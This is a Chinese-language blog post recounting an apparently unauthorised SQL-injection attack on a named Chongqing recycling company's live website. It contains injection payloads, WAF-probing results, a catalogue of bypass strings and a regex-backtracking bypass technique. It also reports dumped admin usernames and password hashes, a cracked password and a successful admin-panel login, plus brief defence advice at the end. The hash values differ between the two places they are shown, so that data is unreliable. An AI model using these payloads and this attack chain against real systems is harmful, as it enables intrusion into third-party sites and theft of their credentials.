重庆某集团 正则回溯导致SQL注入
正则回溯绕过WAF实现SQL注入
目标站点:http://www.cqzszy.com.cn(重庆市再生资源(集团)有限公司)
注入点:POST /order_sell.php 参数 bs
绕过技术:正则回溯(PHP PCRE回溯限制)
信息收集
发现GET注入点
首先在 news_list.php 发现 GET 参数 cid 存在 SQL 注入:
1 | http://www.cqzszy.com.cn/news_list.php?cid=11 and updatexml(1,concat(0x7e,user(),0x7e),1) |
响应返回:
1 | XPATH syntax error: '~qzy_cqzszy@localhost~' |
成功获取数据库用户信息。

WAF分析
通过测试推测 WAF 过滤规则:
| Payload | 结果 | 分析 |
|---|---|---|
select 1 | 成功回显 | select 单独不被过滤 |
from 1 | 报错回显 | from 单独不被过滤 |
select 1 from dual | 空白回显 | select...from 组合被过滤 |
结论:WAF 使用正则 select(.*)from 过滤,单独的 select 或 from 不被拦截,只有组合时才触发过滤。
GET注入的问题
尝试正则回溯绕过,构造超长 Payload:
1 | URL length: 100224 |
问题:URL 长度超过服务器限制,无法使用 GET 请求。
寻找POST注入点
由于 GET 请求长度限制,需要寻找 POST 注入点。在网站功能页面发现:
1 | POST /order_sell.php HTTP/1.1 |
测试参数 bs 存在注入:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1772425757')' at line 1 |

绕过思路探索
尝试的绕过方法
在发现正则回溯之前,尝试了多种绕过方式:
换行符打断正则
1 | select%0a1%0afrom dual |
注释打断正则
1 | select/**/1/**/from/**/dual |
内联注释
1 | select/*!*/1/*!*/from/*!*/dual |
大小写混合
1 | SeLeCt 1 FrOm dual |
双写绕过
1 | selselectect 1 frfromom dual |
空字节截断
1 | sel%00ect 1 fr%00om dual |
预处理语句
1 | set @a=concat('sel','ect 1 fr','om dual');prepare stmt from @a;execute stmt; |
替代语句
1 | show tables |
结果:以上方法全部失败,返回空白回显。
正则回溯原理
PHP PCRE 默认回溯限制为 100 万次。当正则 select(.*)from 匹配超长字符串时:
.*贪婪匹配到字符串末尾- 回溯查找
from - 回溯次数超过限制,
preg_match返回false - WAF 判断失效,放行请求
构造Payload
关键:用注释 /**/ 包裹垃圾字符
1 | select/*{100万字符}*/column from/*{100万字符}*/table |
- MySQL 忽略注释,正常执行 SQL
- WAF 正则匹配超时,绕过成功
注入过程
Python脚本
1 | import requests |
数据注入失败
分段注入数据
1 | import requests |
获取的数据
数据库表名:
| 序号 | 表名 |
|---|---|
| 0 | zszy_admin |
| 1 | zszy_ec_class |
| 2 | zszy_ec_goods |
| 3 | zszy_human |
| 4 | zszy_info |
| 5 | zszy_member |
| 6 | zszy_order |
| … | … |
管理员表列名:
| 序号 | 列名 |
|---|---|
| 0 | aid |
| 1 | aname |
| 2 | apassword |
管理员账号密码:
| aid | aname | apassword (MD5) |
|---|---|---|
| 1 | admin | 3b1c29af405bac431b8f5ae71345fdcasdav |
| 2 | leo | bf7c2c3a34f5da034b14e89486f97f16avdav |
密码解密与后台发现
MD5解密
使用在线工具解密:
- admin:
3b1c29af405bac431b8f5ae71345fvdadca→ 未解出 - leo:
bf7c2c3a34f5da034b14e89486f97fda1v6→ c****e
目录扫描
使用 dirsearch 扫描后台:
1 | dirsearch -u http://www.cqzszy.com.cn -e php |
发现后台登录页面:
1 | [200] http://www.cqzszy.com.cn/admini/login.php |
成功登录
访问 /admini/login.php,使用获取的凭证登录:
- 用户名:leo
- 密码:———
登录成功,进入后台管理系统。

总结
攻击链
1 | GET注入发现 → URL长度限制 → 寻找POST注入点 → 多种绕过尝试失败 → 正则回溯绕过 → 分段获取密码 → 密码解密 → 后台扫描 → 成功登录 |
关键技术点
- GET转POST:GET请求URL长度限制,改用POST注入
- 多种绕过尝试:换行符、注释、大小写、双写、预处理等均失败
- 正则回溯绕过:利用 PHP PCRE 回溯限制(100万次),构造超长注释绕过
select(.*)from正则- 注释包裹:垃圾字符必须用
/**/包裹,MySQL才能正常执行- 分段获取:使用
substr()分段获取长字段,避免截断
防御建议
- 使用
preg_match时设置回溯限制或使用非贪婪匹配 - 使用参数化查询(预处理语句)代替字符串拼接
- 敏感数据加密存储,密码使用强哈希(bcrypt、Argon2)
- 后台路径不要使用常见名称
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 !




